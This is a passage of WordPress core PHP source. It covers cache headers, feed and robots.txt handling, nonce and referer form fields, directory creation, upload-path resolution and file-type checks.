if ( function_exists( 'apply_filters' ) ) {
/**
* Filters the cache-controlling headers.
*
* @since 2.8.0
*
* @see wp_get_nocache_headers()
*
* @param array $headers {
* Header names and field values.
*
* @type string $Expires Expires header.
* @type string $Cache-Control Cache-Control header.
* }
*/
$headers = (array) apply_filters( 'nocache_headers', $headers );
}
$headers['Last-Modified'] = false;
return $headers;
}
/**
* Set the headers to prevent caching for the different browsers.
*
* Different browsers support different nocache headers, so several
* headers must be sent so that all of them get the point that no
* caching should occur.
*
* @since 2.0.0
*
* @see wp_get_nocache_headers()
*/
function nocache_headers() {
$headers = wp_get_nocache_headers();
unset( $headers['Last-Modified'] );
// In PHP 5.3+, make sure we are not sending a Last-Modified header.
if ( function_exists( 'header_remove' ) ) {
@header_remove( 'Last-Modified' );
} else {
// In PHP 5.2, send an empty Last-Modified header, but only as a
// last resort to override a header already sent. #WP23021
foreach ( headers_list() as $header ) {
if ( 0 === stripos( $header, 'Last-Modified' ) ) {
$headers['Last-Modified'] = '';
break;
}
}
}
foreach ( $headers as $name => $field_value ) {
@header( "{$name}: {$field_value}" );
}
}
/**
* Set the headers for caching for 10 days with JavaScript content type.
*
* @since 2.1.0
*/
function cache_javascript_headers() {
$expiresOffset = 10 * DAY_IN_SECONDS;
header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) );
header( 'Vary: Accept-Encoding' ); // Handle proxies
header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expiresOffset ) . ' GMT' );
}
/**
* Retrieve the number of database queries during the WordPress execution.
*
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return int Number of database queries.
*/
function get_num_queries() {
global $wpdb;
return $wpdb->num_queries;
}
/**
* Whether input is yes or no.
*
* Must be 'y' to be true.
*
* @since 1.0.0
*
* @param string $yn Character string containing either 'y' (yes) or 'n' (no).
* @return bool True if yes, false on anything else.
*/
function bool_from_yn( $yn ) {
return ( strtolower( $yn ) == 'y' );
}
/**
* Load the feed template from the use of an action hook.
*
* If the feed action does not have a hook, then the function will die with a
* message telling the visitor that the feed is not valid.
*
* It is better to only have one hook for each feed.
*
* @since 2.1.0
*
* @global WP_Query $wp_query Used to tell if the use a comment feed.
*/
function do_feed() {
global $wp_query;
$feed = get_query_var( 'feed' );
// Remove the pad, if present.
$feed = preg_replace( '/^_+/', '', $feed );
if ( $feed == '' || $feed == 'feed' ) {
$feed = get_default_feed();
}
if ( ! has_action( "do_feed_{$feed}" ) ) {
wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );
}
/**
* Fires once the given feed is loaded.
*
* The dynamic portion of the hook name, `$feed`, refers to the feed template name.
* Possible values include: 'rdf', 'rss', 'rss2', and 'atom'.
*
* @since 2.1.0
* @since 4.4.0 The `$feed` parameter was added.
*
* @param bool $is_comment_feed Whether the feed is a comment feed.
* @param string $feed The feed name.
*/
do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
}
/**
* Load the RDF RSS 0.91 Feed template.
*
* @since 2.1.0
*
* @see load_template()
*/
function do_feed_rdf() {
load_template( ABSPATH . WPINC . '/feed-rdf.php' );
}
/**
* Load the RSS 1.0 Feed Template.
*
* @since 2.1.0
*
* @see load_template()
*/
function do_feed_rss() {
load_template( ABSPATH . WPINC . '/feed-rss.php' );
}
/**
* Load either the RSS2 comment feed or the RSS2 posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_rss2( $for_comments ) {
if ( $for_comments ) {
load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
} else {
load_template( ABSPATH . WPINC . '/feed-rss2.php' );
}
}
/**
* Load either Atom comment feed or Atom posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_atom( $for_comments ) {
if ( $for_comments ) {
load_template( ABSPATH . WPINC . '/feed-atom-comments.php' );
} else {
load_template( ABSPATH . WPINC . '/feed-atom.php' );
}
}
/**
* Display the robots.txt file content.
*
* The echo content should be with usage of the permalinks or for creating the
* robots.txt file.
*
* @since 2.1.0
*/
function do_robots() {
header( 'Content-Type: text/plain; charset=utf-8' );
/**
* Fires when displaying the robots.txt file.
*
* @since 2.1.0
*/
do_action( 'do_robotstxt' );
$output = "User-agent: *\n";
$public = get_option( 'blog_public' );
if ( '0' == $public ) {
$output .= "Disallow: /\n";
} else {
$site_url = parse_url( site_url() );
$path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : '';
$output .= "Disallow: $path/wp-admin/\n";
$output .= "Allow: $path/wp-admin/admin-ajax.php\n";
}
/**
* Filters the robots.txt output.
*
* @since 3.0.0
*
* @param string $output Robots.txt output.
* @param bool $public Whether the site is considered "public".
*/
echo apply_filters( 'robots_txt', $output, $public );
}
/**
* Determines whether WordPress is already installed.
*
* The cache will be checked first. If you have a cache plugin, which saves
* the cache values, then this will work. If you use the default WordPress
* cache, and the database goes away, then you might have problems.
*
* Checks for the 'siteurl' option for whether WordPress is installed.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool Whether the site is already installed.
*/
function is_blog_installed() {
global $wpdb;
/*
* Check cache first. If options table goes away and we have true
* cached, oh well.
*/
if ( wp_cache_get( 'is_blog_installed' ) ) {
return true;
}
$suppress = $wpdb->suppress_errors();
if ( ! wp_installing() ) {
$alloptions = wp_load_alloptions();
}
// If siteurl is not set to autoload, check it specifically
if ( ! isset( $alloptions['siteurl'] ) ) {
$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
} else {
$installed = $alloptions['siteurl'];
}
$wpdb->suppress_errors( $suppress );
$installed = ! empty( $installed );
wp_cache_set( 'is_blog_installed', $installed );
if ( $installed ) {
return true;
}
// If visiting repair.php, return true and let it take over.
if ( defined( 'WP_REPAIRING' ) ) {
return true;
}
$suppress = $wpdb->suppress_errors();
/*
* Loop over the WP tables. If none exist, then scratch installation is allowed.
* If one or more exist, suggest table repair since we got here because the
* options table could not be accessed.
*/
$wp_tables = $wpdb->tables();
foreach ( $wp_tables as $table ) {
// The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation.
if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table ) {
continue;
}
if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table ) {
continue;
}
$described_table = $wpdb->get_results( "DESCRIBE $table;" );
if (
( ! $described_table && empty( $wpdb->last_error ) ) ||
( is_array( $described_table ) && 0 === count( $described_table ) )
) {
continue;
}
// One or more tables exist. We are insane.
wp_load_translations_early();
// Die with a DB error.
$wpdb->error = sprintf(
/* translators: %s: database repair URL */
__( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
'maint/repair.php?referrer=is_blog_installed'
);
dead_db();
}
$wpdb->suppress_errors( $suppress );
wp_cache_set( 'is_blog_installed', false );
return false;
}
/**
* Retrieve URL with nonce added to URL query.
*
* @since 2.0.4
*
* @param string $actionurl URL to add nonce action.
* @param int|string $action Optional. Nonce action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @return string Escaped URL with nonce action added.
*/
function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
$actionurl = str_replace( '&', '&', $actionurl );
return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
}
/**
* Retrieve or display nonce hidden field for forms.
*
* The nonce field is used to validate that the contents of the form came from
* the location on the current site and not somewhere else. The nonce does not
* offer absolute protection, but should protect against most cases. It is very
* important to use nonce field in forms.
*
* The $action and $name are optional, but if you want to have better security,
* it is strongly suggested to set those two parameters. It is easier to just
* call the function without any parameters, because validation of the nonce
* doesn't require any parameters, but since crackers know what the default is
* it won't be difficult for them to find a way around your nonce and cause
* damage.
*
* The input name will be whatever $name value you gave. The input value will be
* the nonce creation value.
*
* @since 2.0.4
*
* @param int|string $action Optional. Action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @param bool $referer Optional. Whether to set the referer field for validation. Default true.
* @param bool $echo Optional. Whether to display or return hidden form field. Default true.
* @return string Nonce field HTML markup.
*/
function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $echo = true ) {
$name = esc_attr( $name );
$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
if ( $referer ) {
$nonce_field .= wp_referer_field( false );
}
if ( $echo ) {
echo $nonce_field;
}
return $nonce_field;
}
/**
* Retrieve or display referer hidden field for forms.
*
* The referer link is the current Request URI from the server super global. The
* input name is '_wp_http_referer', in case you wanted to check manually.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo or return the referer field. Default true.
* @return string Referer field HTML markup.
*/
function wp_referer_field( $echo = true ) {
$referer_field = '<input type="hidden" name="_wp_http_referer" value="' . esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
if ( $echo ) {
echo $referer_field;
}
return $referer_field;
}
/**
* Retrieve or display original referer hidden field for forms.
*
* The input name is '_wp_original_http_referer' and will be either the same
* value of wp_referer_field(), if that was posted already or it will be the
* current page, if it doesn't exist.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo the original http referer. Default true.
* @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
* Default 'current'.
* @return string Original referer field.
*/
function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
if ( ! $ref = wp_get_original_referer() ) {
$ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
}
$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
if ( $echo ) {
echo $orig_referer_field;
}
return $orig_referer_field;
}
/**
* Retrieve referer from '_wp_http_referer' or HTTP referer.
*
* If it's the same as the current request URL, will return false.
*
* @since 2.0.4
*
* @return false|string False on failure. Referer URL on success.
*/
function wp_get_referer() {
if ( ! function_exists( 'wp_validate_redirect' ) ) {
return false;
}
$ref = wp_get_raw_referer();
if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) && $ref !== home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) ) {
return wp_validate_redirect( $ref, false );
}
return false;
}
/**
* Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
*
* Do not use for redirects, use wp_get_referer() instead.
*
* @since 4.5.0
*
* @return string|false Referer URL on success, false on failure.
*/
function wp_get_raw_referer() {
if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
return wp_unslash( $_REQUEST['_wp_http_referer'] );
} elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
return wp_unslash( $_SERVER['HTTP_REFERER'] );
}
return false;
}
/**
* Retrieve original referer that was posted, if it exists.
*
* @since 2.0.4
*
* @return string|false False if no original referer or original referer if set.
*/
function wp_get_original_referer() {
if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) ) {
return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
}
return false;
}
/**
* Recursive directory creation based on full path.
*
* Will attempt to set permissions on folders.
*
* @since 2.0.1
*
* @param string $target Full path to attempt to create.
* @return bool Whether the path was created. True if path already exists.
*/
function wp_mkdir_p( $target ) {
$wrapper = null;
// Strip the protocol.
if ( wp_is_stream( $target ) ) {
list( $wrapper, $target ) = explode( '://', $target, 2 );
}
// From php.net/mkdir user contributed notes.
$target = str_replace( '//', '/', $target );
// Put the wrapper back on the target.
if ( $wrapper !== null ) {
$target = $wrapper . '://' . $target;
}
/*
* Safe mode fails with a trailing slash under certain PHP versions.
* Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
*/
$target = rtrim( $target, '/' );
if ( empty( $target ) ) {
$target = '/';
}
if ( file_exists( $target ) ) {
return @is_dir( $target );
}
// Do not allow path traversals.
if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) {
return false;
}
// We need to find the permissions of the parent folder that exists and inherit that.
$target_parent = dirname( $target );
while ( '.' != $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
$target_parent = dirname( $target_parent );
}
// Get the permission bits.
if ( $stat = @stat( $target_parent ) ) {
$dir_perms = $stat['mode'] & 0007777;
} else {
$dir_perms = 0777;
}
if ( @mkdir( $target, $dir_perms, true ) ) {
/*
* If a umask is set that modifies $dir_perms, we'll have to re-set
* the $dir_perms correctly with chmod()
*/
if ( $dir_perms != ( $dir_perms & ~umask() ) ) {
$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
@chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
}
}
return true;
}
return false;
}
/**
* Test if a given filesystem path is absolute.
*
* For example, '/foo/bar', or 'c:\windows'.
*
* @since 2.5.0
*
* @param string $path File path.
* @return bool True if path is absolute, false is not absolute.
*/
function path_is_absolute( $path ) {
/*
* Check to see if the path is a stream and check to see if its an actual
* path or file as realpath() does not support stream wrappers.
*/
if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) {
return true;
}
/*
* This is definitive if true but fails if $path does not exist or contains
* a symbolic link.
*/
if ( realpath( $path ) == $path ) {
return true;
}
if ( strlen( $path ) == 0 || $path[0] == '.' ) {
return false;
}
// Windows allows absolute paths like this.
if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) {
return true;
}
// A path starting with / or \ is absolute; anything else is relative.
return ( $path[0] == '/' || $path[0] == '\\' );
}
/**
* Join two filesystem paths together.
*
* For example, 'give me $path relative to $base'. If the $path is absolute,
* then it the full path is returned.
*
* @since 2.5.0
*
* @param string $base Base path.
* @param string $path Path relative to $base.
* @return string The path with the base or absolute path.
*/
function path_join( $base, $path ) {
if ( path_is_absolute( $path ) ) {
return $path;
}
return rtrim( $base, '/' ) . '/' . ltrim( $path, '/' );
}
/**
* Normalize a filesystem path.
*
* On windows systems, replaces backslashes with forward slashes
* and forces upper-case drive letters.
* Allows for two leading slashes for Windows network shares, but
* ensures that all other duplicate slashes are reduced to a single.
*
* @since 3.9.0
* @since 4.4.0 Ensures upper-case drive letters on Windows systems.
* @since 4.5.0 Allows for Windows network shares.
* @since 4.9.7 Allows for PHP file wrappers.
*
* @param string $path Path to normalize.
* @return string Normalized path.
*/
function wp_normalize_path( $path ) {
$wrapper = '';
if ( wp_is_stream( $path ) ) {
list( $wrapper, $path ) = explode( '://', $path, 2 );
$wrapper .= '://';
}
// Standardise all paths to use /
$path = str_replace( '\\', '/', $path );
// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
$path = preg_replace( '|(?<=.)/+|', '/', $path );
// Windows paths should uppercase the drive letter
if ( ':' === substr( $path, 1, 1 ) ) {
$path = ucfirst( $path );
}
return $wrapper . $path;
}
/**
* Determine a writable directory for temporary files.
*
* Function's preference is the return value of sys_get_temp_dir(),
* followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
* before finally defaulting to /tmp/
*
* In the event that this function does not find a writable location,
* It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
*
* @since 2.5.0
*
* @staticvar string $temp
*
* @return string Writable temporary directory.
*/
function get_temp_dir() {
static $temp = '';
if ( defined( 'WP_TEMP_DIR' ) ) {
return trailingslashit( WP_TEMP_DIR );
}
if ( $temp ) {
return trailingslashit( $temp );
}
if ( function_exists( 'sys_get_temp_dir' ) ) {
$temp = sys_get_temp_dir();
if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
return trailingslashit( $temp );
}
}
$temp = ini_get( 'upload_tmp_dir' );
if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
return trailingslashit( $temp );
}
$temp = WP_CONTENT_DIR . '/';
if ( is_dir( $temp ) && wp_is_writable( $temp ) ) {
return $temp;
}
return '/tmp/';
}
/**
* Determine if a directory is writable.
*
* This function is used to work around certain ACL issues in PHP primarily
* affecting Windows Servers.
*
* @since 3.6.0
*
* @see win_is_writable()
*
* @param string $path Path to check for write-ability.
* @return bool Whether the path is writable.
*/
function wp_is_writable( $path ) {
if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) ) {
return win_is_writable( $path );
} else {
return @is_writable( $path );
}
}
/**
* Workaround for Windows bug in is_writable() function
*
* PHP has issues with Windows ACL's for determine if a
* directory is writable or not, this works around them by
* checking the ability to open files rather than relying
* upon PHP to interprate the OS ACL.
*
* @since 2.8.0
*
* @see https://bugs.php.net/bug.php?id=27609
* @see https://bugs.php.net/bug.php?id=30931
*
* @param string $path Windows path to check for write-ability.
* @return bool Whether the path is writable.
*/
function win_is_writable( $path ) {
if ( $path[ strlen( $path ) - 1 ] == '/' ) { // if it looks like a directory, check a random file within the directory
return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' );
} elseif ( is_dir( $path ) ) { // If it's a directory (and not a file) check a random file within the directory
return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
}
// check tmp file for read/write capabilities
$should_delete_tmp_file = ! file_exists( $path );
$f = @fopen( $path, 'a' );
if ( $f === false ) {
return false;
}
fclose( $f );
if ( $should_delete_tmp_file ) {
unlink( $path );
}
return true;
}
/**
* Retrieves uploads directory information.
*
* Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
* Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
* when not uploading files.
*
* @since 4.5.0
*
* @see wp_upload_dir()
*
* @return array See wp_upload_dir() for description.
*/
function wp_get_upload_dir() {
return wp_upload_dir( null, false );
}
/**
* Get an array containing the current upload directory's path and url.
*
* Checks the 'upload_path' option, which should be from the web root folder,
* and if it isn't empty it will be used. If it is empty, then the path will be
* 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
* override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
*
* The upload URL path is set either by the 'upload_url_path' option or by using
* the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
*
* If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
* the administration settings panel), then the time will be used. The format
* will be year first and then month.
*
* If the path couldn't be created, then an error will be returned with the key
* 'error' containing the error message. The error suggests that the parent
* directory is not writable by the server.
*
* On success, the returned array will have many indices:
* 'path' - base directory and sub directory or full path to upload directory.
* 'url' - base url and sub directory or absolute URL to upload directory.
* 'subdir' - sub directory if uploads use year/month folders option is on.
* 'basedir' - path without subdir.
* 'baseurl' - URL path without subdir.
* 'error' - false or error message.
*
* @since 2.0.0
* @uses _wp_upload_dir()
*
* @staticvar array $cache
* @staticvar array $tested_paths
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @param bool $create_dir Optional. Whether to check and create the uploads directory.
* Default true for backward compatibility.
* @param bool $refresh_cache Optional. Whether to refresh the cache. Default false.
* @return array See above for description.
*/
function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
static $cache = array(), $tested_paths = array();
$key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
if ( $refresh_cache || empty( $cache[ $key ] ) ) {
$cache[ $key ] = _wp_upload_dir( $time );
}
/**
* Filters the uploads directory data.
*
* @since 2.0.0
*
* @param array $uploads Array of upload directory data with keys of 'path',
* 'url', 'subdir, 'basedir', and 'error'.
*/
$uploads = apply_filters( 'upload_dir', $cache[ $key ] );
if ( $create_dir ) {
$path = $uploads['path'];
if ( array_key_exists( $path, $tested_paths ) ) {
$uploads['error'] = $tested_paths[ $path ];
} else {
if ( ! wp_mkdir_p( $path ) ) {
if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
} else {
$error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir'];
}
$uploads['error'] = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
esc_html( $error_path )
);
}
$tested_paths[ $path ] = $uploads['error'];
}
}
return $uploads;
}
/**
* A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
*
* @since 4.5.0
* @access private
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array See wp_upload_dir()
*/
function _wp_upload_dir( $time = null ) {
$siteurl = get_option( 'siteurl' );
$upload_path = trim( get_option( 'upload_path' ) );
if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
$dir = WP_CONTENT_DIR . '/uploads';
} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
// $dir is absolute, $upload_path is (maybe) relative to ABSPATH
$dir = path_join( ABSPATH, $upload_path );
} else {
$dir = $upload_path;
}
if ( ! $url = get_option( 'upload_url_path' ) ) {
if ( empty( $upload_path ) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) ) {
$url = WP_CONTENT_URL . '/uploads';
} else {
$url = trailingslashit( $siteurl ) . $upload_path;
}
}
/*
* Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
* We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
*/
if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . UPLOADS;
}
// If multisite (and if not the main site in a post-MU network)
if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
if ( ! get_site_option( 'ms_files_rewriting' ) ) {
/*
* If ms-files rewriting is disabled (networks created post-3.5), it is fairly
* straightforward: Append sites/%d if we're not on the main site (for post-MU
* networks). (The extra directory prevents a four-digit ID from conflicting with
* a year-based directory for the main site. But if a MU-era network has disabled
* ms-files rewriting manually, they don't need the extra directory, as they never
* had wp-content/uploads for the main site.)
*/
if ( defined( 'MULTISITE' ) ) {
$ms_dir = '/sites/' . get_current_blog_id();
} else {
$ms_dir = '/' . get_current_blog_id();
}
$dir .= $ms_dir;
$url .= $ms_dir;
} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
/*
* Handle the old-form ms-files.php rewriting if the network still has that enabled.
* When ms-files rewriting is enabled, then we only listen to UPLOADS when:
* 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
* there, and
* 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
* the original blog ID.
*
* Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
* (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
* as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
* rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
*/
if ( defined( 'BLOGUPLOADDIR' ) ) {
$dir = untrailingslashit( BLOGUPLOADDIR );
} else {
$dir = ABSPATH . UPLOADS;
}
$url = trailingslashit( $siteurl ) . 'files';
}
}
$basedir = $dir;
$baseurl = $url;
$subdir = '';
if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
// Generate the yearly and monthly dirs
if ( ! $time ) {
$time = current_time( 'mysql' );
}
$y = substr( $time, 0, 4 );
$m = substr( $time, 5, 2 );
$subdir = "/$y/$m";
}
$dir .= $subdir;
$url .= $subdir;
return array(
'path' => $dir,
'url' => $url,
'subdir' => $subdir,
'basedir' => $basedir,
'baseurl' => $baseurl,
'error' => false,
);
}
/**
* Get a filename that is sanitized and unique for the given directory.
*
* If the filename is not unique, then a number will be added to the filename
* before the extension, and will continue adding numbers until the filename is
* unique.
*
* The callback is passed three parameters, the first one is the directory, the
* second is the filename, and the third is the extension.
*
* @since 2.5.0
*
* @param string $dir Directory.
* @param string $filename File name.
* @param callable $unique_filename_callback Callback. Default null.
* @return string New filename, if given wasn't unique.
*/
function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
// Sanitize the file name before we begin processing.
$filename = sanitize_file_name( $filename );
// Separate the filename into a name and extension.
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
$name = pathinfo( $filename, PATHINFO_BASENAME );
if ( $ext ) {
$ext = '.' . $ext;
}
// Edge case: if file is named '.ext', treat as an empty name.
if ( $name === $ext ) {
$name = '';
}
/*
* Increment the file number until we have a unique file to save in $dir.
* Use callback if supplied.
*/
if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
} else {
$number = '';
// Change '.ext' to lower case.
if ( $ext && strtolower( $ext ) != $ext ) {
$ext2 = strtolower( $ext );
$filename2 = preg_replace( '|' . preg_quote( $ext ) . '$|', $ext2, $filename );
// Check for both lower and upper case extension or image sub-sizes may be overwritten.
while ( file_exists( $dir . "/$filename" ) || file_exists( $dir . "/$filename2" ) ) {
$new_number = (int) $number + 1;
$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-$new_number$ext", $filename );
$filename2 = str_replace( array( "-$number$ext2", "$number$ext2" ), "-$new_number$ext2", $filename2 );
$number = $new_number;
}
/**
* Filters the result when generating a unique file name.
*
* @since 4.5.0
*
* @param string $filename Unique file name.
* @param string $ext File extension, eg. ".png".
* @param string $dir Directory path.
* @param callable|null $unique_filename_callback Callback function that generates the unique file name.
*/
return apply_filters( 'wp_unique_filename', $filename2, $ext, $dir, $unique_filename_callback );
}
while ( file_exists( $dir . "/$filename" ) ) {
$new_number = (int) $number + 1;
if ( '' == "$number$ext" ) {
$filename = "$filename-" . $new_number;
} else {
$filename = str_replace( array( "-$number$ext", "$number$ext" ), '-' . $new_number . $ext, $filename );
}
$number = $new_number;
}
}
/** This filter is documented in wp-includes/functions.php */
return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback );
}
/**
* Create a file in the upload folder with given content.
*
* If there is an error, then the key 'error' will exist with the error message.
* If success, then the key 'file' will have the unique file path, the 'url' key
* will have the link to the new file. and the 'error' key will be set to false.
*
* This function will not move an uploaded file to the upload folder. It will
* create a new file with the content in $bits parameter. If you move the upload
* file, read the content of the uploaded file, and then you can give the
* filename and content to this function, which will add it to the upload
* folder.
*
* The permissions will be set on the new file automatically by this function.
*
* @since 2.0.0
*
* @param string $name Filename.
* @param null|string $deprecated Never used. Set to null.
* @param mixed $bits File content
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array
*/
function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, '2.0.0' );
}
if ( empty( $name ) ) {
return array( 'error' => __( 'Empty filename' ) );
}
$wp_filetype = wp_check_filetype( $name );
if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) {
return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) );
}
$upload = wp_upload_dir( $time );
if ( $upload['error'] !== false ) {
return $upload;
}
/**
* Filters whether to treat the upload bits as an error.
*
* Passing a non-array to the filter will effectively short-circuit preparing
* the upload bits, returning that value instead.
*
* @since 3.0.0
*
* @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.
*/
$upload_bits_error = apply_filters(
'wp_upload_bits',
array(
'name' => $name,
'bits' => $bits,
'time' => $time,
)
);
if ( ! is_array( $upload_bits_error ) ) {
$upload['error'] = $upload_bits_error;
return $upload;
}
$filename = wp_unique_filename( $upload['path'], $name );
$new_file = $upload['path'] . "/$filename";
if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
if ( 0 === strpos( $upload['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
} else {
$error_path = wp_basename( $upload['basedir'] ) . $upload['subdir'];
}
$message = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
$error_path
);
return array( 'error' => $message );
}
$ifp = @ fopen( $new_file, 'wb' );
if ( ! $ifp ) {
return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
}
@fwrite( $ifp, $bits );
fclose( $ifp );
clearstatcache();
// Set correct file permissions
$stat = @ stat( dirname( $new_file ) );
$perms = $stat['mode'] & 0007777;
$perms = $perms & 0000666;
@ chmod( $new_file, $perms );
clearstatcache();
// Compute the URL
$url = $upload['url'] . "/$filename";
/** This filter is documented in wp-admin/includes/file.php */
return apply_filters(
'wp_handle_upload',
array(
'file' => $new_file,
'url' => $url,
'type' => $wp_filetype['type'],
'error' => false,
),
'sideload'
);
}
/**
* Retrieve the file type based on the extension name.
*
* @since 2.5.0
*
* @param string $ext The extension to search.
* @return string|void The file type, example: audio, video, document, spreadsheet, etc.
*/
function wp_ext2type( $ext ) {
$ext = strtolower( $ext );
$ext2type = wp_get_ext_types();
foreach ( $ext2type as $type => $exts ) {
if ( in_array( $ext, $exts ) ) {
return $type;
}
}
}
/**
* Retrieve the file type from the file name.
*
* You can optionally define the mime array, if needed.
*
* @since 2.0.4
*
* @param string $filename File name or path.
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values with extension first and mime type.
*/
function wp_check_filetype( $filename, $mimes = null ) {
if ( empty( $mimes ) ) {
$mimes = get_allowed_mime_types();
}
$type = false;
$ext = false;
foreach ( $mimes as $ext_preg => $mime_match ) {
$ext_preg = '!\.(' . $ext_preg . ')$!i';
if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
$type = $mime_match;
$ext = $ext_matches[1];
break;
}
}
return compact( 'ext', 'type' );
}
/**
* Attempt to determine the real file type of a file.
*
